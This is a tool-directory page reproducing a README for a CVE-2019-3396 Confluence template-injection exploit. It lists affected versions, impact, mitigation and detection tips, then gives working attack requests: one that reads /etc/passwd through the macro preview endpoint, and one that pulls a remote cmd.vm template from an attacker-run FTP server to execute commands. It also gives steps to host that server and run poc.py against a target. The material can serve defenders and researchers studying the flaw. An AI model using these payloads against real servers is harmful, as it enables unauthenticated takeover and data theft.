Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-3396 — CVE-2019-3396 confluence SSTI RCE | Kitploit
Tools/GitHubGitHub/kh4sh3i/cve-2019-3396
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubkh4sh3i/cve-2019-3396

CVE-2019-3396

CVE-2019-3396 confluence SSTI RCE

View Repository
11 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-3396

CVE-2019-3396 confluence SSTI RCE

🔎 What is CVE-2019-3396?

  • A critical Confluence bug (Atlassian).
  • Type: Template Injection + Path Traversal.
  • Risk: Remote Code Execution (RCE) without login.
  • Status: Exploited in the wild.

🛑 Affected Versions

  • 6.6.0 → 6.6.11 ❌ vulnerable
  • 6.6.12 ✅ fixed
  • 6.12.0 → 6.12.2 ❌ vulnerable
  • 6.12.3 ✅ fixed
  • 6.13.0 → 6.13.2 ❌ vulnerable
  • 6.13.3 ✅ fixed
  • 6.14.0 → 6.14.1 ❌ vulnerable
  • 6.14.2 ✅ fixed

👉 Always check Atlassian’s official advisory for full details.


💥 Impact

  • Full server takeover
  • Data theft, ransomware, crypto-miners
  • Attackers can run any code they want

🔐 Mitigation

  • ✅ Upgrade to patched Confluence version (best fix)
  • 🚫 Disable Widget Connector macro if you can’t patch right away
  • 🔒 Limit access (internal only until fixed)

👀 Detection (safe tips)

  • Watch logs for strange requests hitting macro/preview endpoints
  • Look for weird processes or outbound traffic
  • Use vulnerability scanners to confirm version

📂 Read File

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/2
Host: {***}

{"macro":{"params":{"_template":"file:///etc/passwd"}}}

Execute Command

root@kitploit:~
POST /rest/tinymce/1/macro/preview HTTP/2
Host: ***

{"contentId":"1","macro":{"name":"widget","params":{"_template":"ftp://***:8888/cmd.vm","command":"id"},"body":""}}

Automation

  • upload cmd.vm on your vps
  • use ftp or https for create likn to this cmd.vm file via
root@kitploit:~
pip install pyftpdlib
python -m pyftpdlib -p  8888
  • update file poc.py with new value for pyftp = "ftp://10.100.10.100:8888/cmd.vm"
root@kitploit:~
python poc.py <url> <cmd>
python poc.py https://ip:port  "id"

⚠️ TIP — this repo is only for education, defense, and awareness.


🔗 References

  • Atlassian Advisory 🏢
  • NVD Entry for CVE-2019-3396 🛡️
Download Tool